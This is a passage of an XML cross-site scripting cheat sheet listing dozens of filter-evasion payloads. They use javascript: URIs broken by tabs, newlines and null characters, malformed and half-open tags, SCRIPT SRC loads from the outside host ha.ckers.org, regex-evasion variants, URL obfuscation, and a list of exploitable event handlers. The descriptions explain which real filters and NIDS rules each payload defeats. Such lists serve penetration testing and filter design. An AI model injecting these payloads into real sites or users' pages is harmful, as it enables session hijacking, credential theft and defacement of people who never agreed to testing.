<desc>STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).</desc>

<label>Character Encoding Attacks</label>

</attack>

<name>Embedded Tab</name>

<code>&lt;IMG SRC=&quot;jav&#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code>

<desc>Embedded tab to break up the cross site scripting attack.</desc>

<label>Embedded Character Attacks</label>

</attack>

<name>Embedded Encoded Tab</name>

<code>&lt;IMG SRC=&quot;jav&amp;#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code>

<desc>Embedded encoded tab to break up XSS.  For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.</desc>

<label>Embedded Character Attacks</label>

</attack>

<name>Embedded Newline</name>

<code>&lt;IMG SRC=&quot;jav&amp;#x0A;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code>

<desc>Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.</desc>

<label>Embedded Character Attacks</label>

</attack>

<name>Embedded Carriage Return</name>

<code>&lt;IMG SRC=&quot;jav&amp;#x0D;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code>

<desc>Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I&apos;ve seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).</desc>

<label>Embedded Character Attacks</label>

</attack>

<name>Multiline w/Carriage Returns</name>

<desc>Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).</desc>

<label>Embedded Character Attacks</label>

</attack>

<name>Null Chars 1</name>

<code>perl -e &apos;print &quot;&lt;IMG SRC=java\0script:alert(&quot;XSS&quot;)>&quot;;&apos;&gt; out</code>

<desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file.  Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc>

<label>Embedded Character Attacks</label>

</attack>

<name>Null Chars 2</name>

<code>perl -e &apos;print &quot;&amp;&lt;SCR\0IPT&gt;alert(&quot;XSS&quot;)&lt;/SCR\0IPT&gt;&quot;;&apos; &gt; out</code>

<desc>Here is a little known XSS attack vector using null characters.  You can actually break up the HTML itself using the same nulls as shown above. I&apos;ve seen this vector bypass some of the most restrictive XSS filters to date</desc>

<label>Embedded Character Attacks</label>

</attack>

<name>Spaces/Meta Chars</name>

<code>&lt;IMG SRC=&quot; &amp;#14;  javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>

<desc>Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn&apos;t take into account spaces in the word &quot;javascript:&quot; - which is correct since that won&apos;t render- and makes the false assumption that you can&apos;t have a space between the quote and the &quot;javascript:&quot; keyword. The actual reality is you can have any char from 1-32 in decimal).</desc>

<label>Embedded Character Attacks</label>

</attack>

<name>Non-Alpha/Non-Digit</name>

<code>&lt;SCRIPT/XSS SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>

<desc>Non-alpha-non-digit XSS.  While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag.  The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace.  For example &quot;&lt;SCRIPT\s&quot; != &quot;&lt;SCRIPT/XSS\s&quot;</desc>

<label>Embedded Character Attacks</label>

</attack>

<name>Non-Alpha/Non-Digit Part 2</name>

<code>&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&gt;</code>

<desc>Non-alpha-non-digit XSS part 2.  yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.</desc>

<label>Embedded Character Attacks</label>

<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>

</attack>

<name>No Closing Script Tag</name>

<code>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js</code>

<desc>In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don&apos;t actually need the &quot;&gt;&lt;/SCRIPT&gt;&quot; portion of this Cross Site Scripting vector. Firefox assumes it&apos;s safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn&apos;t affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they&apos;re not needed generally.</desc>

<label>Embedded Character Attacks</label>

<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>

</attack>

<name>Protocol resolution in script tags</name>

<code>&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;</code>

<desc>This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh&apos;s protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &lt;/SCRIPT&gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &quot;.j&quot; is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.</desc>

<label>Embedded Character Attacks</label>

<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>

</attack>

<name>Half-Open HTML/JavaScript</name>

<code>&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;</code>

<desc>Unlike Firefox, the IE rendering engine doesn&apos;t add extra data to your page, but it does allow the &quot;javascript:&quot; directive in images. This is useful as a vector because it doesn&apos;t require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &gt; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:

/((\%3D)|(=))[^\n]*((\%3C)|&lt;)[^\n]+((\%3E)|>)/

As a side note, this was also effective against a real world XSS filter I came across using an open ended &lt;IFRAME tag instead of an &lt;IMG tag.</desc>

<label>Embedded Character Attacks</label>

</attack>

<name>Double open angle brackets</name>

<code>&lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;</code>

<desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it&apos;s surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won&apos;t</desc>

<label>Embedded Character Attacks</label>

<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>

</attack>

<name>Extraneous Open Brackets</name>

<code>&lt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;);//&lt;&lt;/SCRIPT&gt;</code>

<desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/).  This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course).  The double slash comments out the ending extraneous bracket to supress a JavaScript error.</desc>

<label>Embedded Character Attacks</label>

</attack>

<name>Malformed IMG Tags</name>

<code>&lt;IMG &quot;&quot;&quot;&gt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&quot;&gt;</code>

<desc>Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes.  I assume this was originally meant to correct sloppy coding.  This would make it significantly more difficult to correctly parse apart an HTML tag.</desc>

<label>Embedded Character Attacks</label>

</attack>

<name>No Quotes/Semicolons</name>

<code>&lt;SCRIPT&gt;a=/XSS/

alert(a.source)&lt;/SCRIPT&gt;</code>

<desc>No single quotes or double quotes or semicolons.</desc>

<label>Embedded Character Attacks</label>

</attack>

<name>Event Handlers List 1</name>

<code>See Below</code>

<desc>Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates:

-FSCommand() (execute from within an embedded Flash object)

-onAbort() (when user aborts the loading of an image)

-onActivate() (when object is set as the active element)

-onAfterPrint() (activates after user prints or previews print job)

-onAfterUpdate() (activates on data object after updating data in the source object)

-onBeforeActivate() (fires before the object is set as the active element)

-onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand(&quot;Copy&quot;) function)

-onBeforeCut() (attacker executes the attack string right before a selection is cut)

-onBeforeDeactivate() (fires right after the activeElement is changed from the current object)

-onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)

-onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand(&quot;Paste&quot;) function)

-onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand(&quot;Print&quot;) function)

-onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)

-onBegin() (fires immediately when the element&apos;s timeline begins)

-onBlur() (in the case where another popup is loaded and window loses focus)

-onBounce() (fires when the behavior property of the marquee object is set to &quot;alternate&quot; and the contents of the marquee reach one side of the window)

-onCellChange() (fires when data changes in the data provider)

-onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified)

-onClick() (fires when someone clicks on a form)

-onContextMenu() (user would need to right click on attack area)

-onControlSelect() (fires when the user is about to make a control selection of the object)

-onCopy() (user needs to copy something or it can be exploited using the execCommand(&quot;Copy&quot;) command)

-onCut() (user needs to copy something or it can be exploited using the execCommand(&quot;Cut&quot;) command)

-onDataAvailible() (user would need to change data in an element, or attacker could perform the same function)

-onDataSetChanged() (fires when the data set exposed by a data source object changes)

-onDataSetComplete() (fires to indicate that all data is available from the data source object)

-onDblClick() (fires when user double-clicks a form element or a link)

-onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)

-onDrag() (requires that the user drags an object)

-onDragEnd() (requires that the user drags an object)

-onDragLeave() (requires that the user drags an object off a valid location)

-onDragEnter() (requires that the user drags an object into a valid location)

-onDragOver() (requires that the user drags an object into a valid location)

-onDragDrop() (user drops an object (e.g. file) onto the browser window)

-onDrop() (fires when user drops an object (e.g. file) onto the browser window)

</desc>

<label>Event Handlers</label>

<browser>Browser support:</browser>

</attack>

<name>Event Handlers List 2</name>

<code>See Below</code>

<desc>-onEnd() (fires when the timeline ends.  This can be exploited, like most of the HTML+TIME event handlers by doing something like &lt;P STYLE=&quot;behavior:url(&apos;#default#time2&apos;)&quot; onEnd=&quot;alert(&apos;XSS&apos;)&quot;&gt;)

-onError() (loading of a document or image causes an error)

-onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)

-onFilterChange() (fires when a visual filter completes state change)

-onFinish() (attacker could create the exploit when marquee is finished looping)

-onFocus() (attacker executes the attack string when the window gets focus)

-onFocusIn() (attacker executes the attack string when window gets focus)

-onFocusOut() (attacker executes the attack string when window loses focus)

-onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)

-onKeyDown() (fires when user depresses a key)

-onKeyPress() (fires when user presses or holds down a key)

-onKeyUp() (fires when user releases a key)

-onLayoutComplete() (user would have to print or print preview)

-onLoad() (attacker executes the attack string after the window loads)

-onLoseCapture() (can be exploited by the releaseCapture() method)

-onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing)

-onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)

-onMouseDown() (the attacker would need to get the user to click on an image)

-onMouseEnter() (fires when cursor moves over an object or area)

-onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)

-onMouseMove() (the attacker would need to get the user to mouse over an image or table)

-onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)

-onMouseOver() (fires when cursor moves over an object or area)

-onMouseUp() (the attacker would need to get the user to click on an image)

-onMouseWheel() (the attacker would need to get the user to use their mouse wheel)

-onMove() (user or attacker would move the page)

-onMoveEnd() (user or attacker would move the page)

-onMoveStart() (user or attacker would move the page)

-onOutOfSync() (interrupt the element&apos;s ability to play its media as defined by the timeline)

-onPaste() (user would need to paste or attacker could use the execCommand(&quot;Paste&quot;) function)

-onPause() (fires on every element that is active when the timeline pauses, including the body element)

-onProgress() (attacker would use this as a flash movie was loading)

-onPropertyChange() (user or attacker would need to change an element property)

-onReadyStateChange() (user or attacker would need to change an element property)

</desc>

<label>Event Handlers</label>

<browser>Browser support:</browser>

</attack>

<name>Event Handlers List 3</name>

<code>See Below</code>

<desc>-onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle)

-onReset() (fires when user or attacker resets a form)

-onResize() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)

-onResizeEnd() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)

-onResizeStart() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)

-onResume() (fires on every element that becomes active when the timeline resumes, including the body element)

-onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)

-onRowEnter() (user or attacker would need to change a row in a data source)

-onRowExit() (user or attacker would need to change a row in a data source)

-onRowDelete() (user or attacker would need to delete a row in a data source)

-onRowInserted() (user or attacker would need to insert a row in a data source)

-onScroll() (user would need to scroll, or attacker could use the scrollBy() function)

-onSeek() (fires when the timeline is set to play in any direction other than forward)

-onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)

-onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)

-onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)

-onStart() (fires at the beginning of each marquee loop)

-onStop() (user would need to press the stop button or leave the webpage)

-onSynchRestored() (user interrupts the element&apos;s ability to play its media as defined by the timeline to fire)

-onSubmit() (requires attacker or user submits a form)

-onTimeError() (fires when user or attacker sets a time property, such as &quot;dur&quot;, to an invalid value)

-onTrackChange() (fires when user or attacker changes track in a playList)

-onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click)

-onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)

-seekSegmentTime() (locates the specified point on the element&apos;s segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

</desc>

<label>Event Handlers</label>

<browser>Browser support:</browser>

</attack>

<name>Evade Regex Filter 1</name>

<code>&lt;SCRIPT a=&quot;&gt;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>

<desc>For performing XSS on sites that allow &quot;&lt;SCRIPT>&quot; but don&apos;t allow &quot;&lt;SCRIPT SRC...&quot; by way of the following regex filter:

/&lt;script[^&gt;]+src/i</desc>

<label>XSS w/HTML Quote Encapsulation</label>

</attack>

<name>Evade Regex Filter 2</name>

<code>&lt;SCRIPT =&quot;blah&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>

<desc>For performing XSS on sites that allow &quot;&lt;SCRIPT>&quot; but don&apos;t allow &quot;&lt;SCRIPT SRC...&quot; by way of a regex filter:

/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i

(this is an important one, because I&apos;ve seen this regex in the wild)</desc>

<label>XSS w/HTML Quote Encapsulation</label>

</attack>

<name>Evade Regex Filter 3</name>

<code>&lt;SCRIPT a=&quot;blah&quot; &apos;&apos; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>

<desc>Another XSS to evade this regex filter:

/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i</desc>

<label>XSS w/HTML Quote Encapsulation</label>

</attack>

<name>Evade Regex Filter 4</name>

<code>&lt;SCRIPT &quot;a=&apos;&gt;&apos;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>

<desc>Yet another XSS to evade the same filter:

/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i

The only thing I&apos;ve seen work against this XSS attack if you still want to allow &lt;SCRIPT&gt; tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow &lt;SCRIPT&gt; tags)</desc>

<label>XSS w/HTML Quote Encapsulation</label>

</attack>

<name>Evade Regex Filter 5</name>

<code>&lt;SCRIPT a=`&gt;` SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>

<desc>And one last XSS attack (using grave accents) to evade this regex:

/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i</desc>

<label>XSS w/HTML Quote Encapsulation</label>

</attack>

<name>Filter Evasion 1</name>

<code>&lt;SCRIPT&gt;document.write(&quot;&lt;SCRI&quot;);&lt;/SCRIPT&gt;PT SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>

<desc>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.</desc>

<label>XSS w/HTML Quote Encapsulation</label>

</attack>

<name>Filter Evasion 2</name>

<code>&lt;SCRIPT a=&quot;>&apos;>&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>

<desc>Here&apos;s an XSS example that bets on the fact that the regex won&apos;t catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.</desc>

<label>XSS w/HTML Quote Encapsulation</label>

</attack>

<name>IP Encoding</name>

<desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).</desc>

<label>URL Obfuscation</label>

</attack>

<name>URL Encoding</name>

<desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).</desc>

<label>URL Obfuscation</label>

</attack>

<name>Dword Encoding</name>

<desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).</desc>

<label>URL Obfuscation</label>

</attack>

<name>Hex Encoding</name>

<desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).

The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required.</desc>

<label>URL Obfuscation</label>

</attack>

<name>Octal Encoding</name>

<desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).

Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...</desc>

<label>URL Obfuscation</label>

</attack>

<name>Mixed Encoding</name>

<desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).

The tabs and newlines only work if this is encapsulated with quotes.</desc>

<label>URL Obfuscation</label>

</attack>

<name>Protocol Resolution Bypass</name>

<code>&lt;A HREF=&quot;//www.google.com/&quot;&gt;XSS&lt;/A&gt;</code>

<desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).

Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like &quot;(ht|f)tp(s)?://&quot; (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the &quot;//&quot; to &quot;\\&quot;. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.</desc>

<label>URL Obfuscation</label>

</attack>

<name>Firefox Lookups 1</name>

<code>&lt;A HREF=&quot;//google&quot;&gt;XSS&lt;/A&gt;</code>

<desc>Firefox uses Google&apos;s &quot;feeling lucky&quot; function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox&apos;s &quot;keyword:&quot; protocol. You can concatenate several keywords by using something like the following &quot;keyword:XSS+RSnake&quot;</desc>

<label>URL Obfuscation</label>

<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>

</attack>

<name>Firefox Lookups 2</name>

<code>&lt;A HREF=&quot;http://ha.ckers.org@google&quot;&gt;XSS&lt;/A&gt;</code>

<desc>This uses a very tiny trick that appears to work Firefox only, because if it&apos;s implementation of the &quot;feeling lucky&quot; function.  Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not.  It&apos;s simply a malformed URL.  If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera.</desc>

<label>URL Obfuscation</label>

<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>

</attack>

<name>Firefox Lookups 3</name>

<code>&lt;A HREF=&quot;http://google:ha.ckers.org&quot;&gt;XSS&lt;/A&gt;</code>

<desc>This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the &quot;feeling lucky&quot; function.  Like all of the above it requires that you are #1 in Google for the keyword in question (in this case &quot;google&quot;).</desc>

<label>URL Obfuscation</label>

<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>

</attack>

<name>Removing Cnames</name>

<code>&lt;A HREF=&quot;http://google.com/&quot;&gt;XSS&lt;/A&gt;</code>

<desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).

When combined with the above URL, removing &quot;www.&quot; will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly.</desc>

<label>URL Obfuscation</label>

</attack>

<name>Extra dot for Absolute DNS</name>

<code>&lt;A HREF=&quot;http://www.google.com./&quot;&gt;XSS&lt;/A&gt;</code>

<desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).</desc>

<label>URL Obfuscation</label>

</attack>

<name>JavaScript Link Location</name>

<code>&lt;A HREF=&quot;javascript:document.location=&apos;http://www.google.com/&apos;&quot;&gt;XSS&lt;/A&gt;</code>

<desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed)

JavaScript link location</desc>

<label>URL Obfuscation</label>

</attack>

<name>Content Replace</name>

<code>&lt;A HREF=&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&gt;XSS&lt;/A&gt;</code>

<desc>Content replace as an attack vector (assuming &quot;http://www.google.com/&quot; is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector (&quot;java&amp;#x26;#x09;script:&quot; was converted into &quot;java&amp;#x09;script:&quot;.</desc>

<label>URL Obfuscation</label>

</attack>

</xss>

Cancel